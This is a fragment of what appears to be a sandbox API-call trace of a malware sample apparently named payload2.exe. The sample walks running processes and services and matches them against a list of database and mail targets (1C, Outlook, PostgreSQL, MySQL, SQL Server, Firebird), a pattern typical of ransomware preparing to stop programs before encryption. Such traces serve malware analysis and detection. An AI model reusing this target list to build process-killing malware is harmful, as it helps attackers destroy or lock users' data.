(lpString1="mssqlserver", lpString2="SamSs") returned -1 [0264.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0264.688] lstrlenW (lpString="Schedule") returned 8 [0264.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0264.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0264.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0264.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0264.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0264.688] lstrlenW (lpString="SENS") returned 4 [0264.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0264.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0264.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0264.688] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0264.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0264.688] lstrlenW (lpString="ShellHWDetection") returned 16 [0264.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.688] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0264.688] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0264.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0264.688] lstrlenW (lpString="Spooler") returned 7 [0264.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0264.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0264.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0264.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0264.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0264.688] lstrlenW (lpString="Themes") returned 6 [0264.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0264.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0264.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0264.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0264.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0264.689] lstrlenW (lpString="UxSms") returned 5 [0264.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0264.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0264.689] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0264.689] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0264.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0264.689] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312828 | out: hHeap=0x2a0000) returned 1 [0264.689] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0264.690] Process32FirstW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.690] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.690] lstrlenW (lpString="System") returned 6 [0264.690] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0264.690] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0264.690] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0264.690] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0264.690] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0264.690] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0264.691] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0264.691] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.691] lstrlenW (lpString="smss.exe") returned 8 [0264.691] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0264.691] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0264.691] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0264.691] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0264.691] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0264.691] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0264.691] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0264.691] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.691] lstrlenW (lpString="csrss.exe") returned 9 [0264.691] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.691] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.691] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.691] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.691] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.691] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.691] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.691] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.692] lstrlenW (lpString="wininit.exe") returned 11 [0264.692] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0264.692] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0264.692] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0264.692] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0264.692] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0264.692] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0264.692] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0264.692] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.692] lstrlenW (lpString="csrss.exe") returned 9 [0264.692] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.692] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.692] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.692] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.692] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.692] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.692] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.692] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.693] lstrlenW (lpString="winlogon.exe") returned 12 [0264.693] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0264.693] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0264.693] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0264.693] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0264.693] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0264.693] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0264.693] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0264.693] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.693] lstrlenW (lpString="services.exe") returned 12 [0264.693] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0264.693] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0264.693] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0264.693] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0264.693] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0264.693] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0264.693] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0264.693] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.693] lstrlenW (lpString="lsass.exe") returned 9 [0264.693] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0264.693] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0264.693] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0264.693] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0264.693] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0264.694] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0264.694] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0264.694] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0264.694] lstrlenW (lpString="lsm.exe") returned 7 [0264.694] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0264.694] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0264.694] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0264.694] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0264.694] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0264.694] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0264.694] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0264.694] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.694] lstrlenW (lpString="svchost.exe") returned 11 [0264.694] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.694] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.694] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.694] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.694] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.694] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.694] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.694] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.695] lstrlenW (lpString="svchost.exe") returned 11 [0264.695] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.695] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.695] lstrlenW (lpString="svchost.exe") returned 11 [0264.695] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.695] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.695] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.696] lstrlenW (lpString="svchost.exe") returned 11 [0264.696] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.696] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.696] lstrlenW (lpString="svchost.exe") returned 11 [0264.696] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.696] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.696] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.696] lstrlenW (lpString="audiodg.exe") returned 11 [0264.696] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0264.696] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0264.697] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0264.697] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0264.697] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0264.697] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0264.697] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0264.697] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.697] lstrlenW (lpString="svchost.exe") returned 11 [0264.697] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.697] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.697] lstrlenW (lpString="svchost.exe") returned 11 [0264.697] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.697] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.697] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0264.698] lstrlenW (lpString="userinit.exe") returned 12 [0264.698] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0264.698] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0264.698] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0264.698] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0264.698] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0264.698] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.698] lstrlenW (lpString="dwm.exe") returned 7 [0264.698] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.698] lstrlenW (lpString="explorer.exe") returned 12 [0264.698] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.699] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.699] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.699] lstrlenW (lpString="taskhost.exe") returned 12 [0264.699] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.699] lstrlenW (lpString="svchost.exe") returned 11 [0264.699] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0264.699] lstrlenW (lpString="payload2.exe") returned 12 [0264.699] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0264.700] lstrlenW (lpString="reader_sl.exe") returned 13 [0264.700] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.700] lstrlenW (lpString="dllhost.exe") returned 11 [0264.700] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x564, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0264.700] lstrlenW (lpString="cmd.exe") returned 7 [0264.700] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0264.700] lstrlenW (lpString="conhost.exe") returned 11 [0264.700] Process32NextW (in: hSnapshot=0x12c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0264.701] CloseHandle (hObject=0x12c) returned 1 [0264.701] Sleep (dwMilliseconds=0x1f4) [0265.251] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2d9f38 [0265.541] EnumServicesStatusExW (in: hSCManager=0x2d9f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0265.542] GetLastError () returned 0xea [0265.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa64) returned 0x312828 [0265.542] EnumServicesStatusExW (in: hSCManager=0x2d9f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x312828, cbBufSize=0xa64, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x312828, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0265.547] CloseServiceHandle (hSCObject=0x2d9f38) returned 1 [0265.549] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0265.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.549] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0265.549] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0265.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0265.549] lstrlenW (lpString="AudioSrv") returned 8 [0265.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0265.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0265.549] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0265.549] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0265.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0265.549] lstrlenW (lpString="BFE") returned 3 [0265.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0265.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0265.549] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0265.549] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0265.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0265.549] lstrlenW (lpString="CscService") returned 10 [0265.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 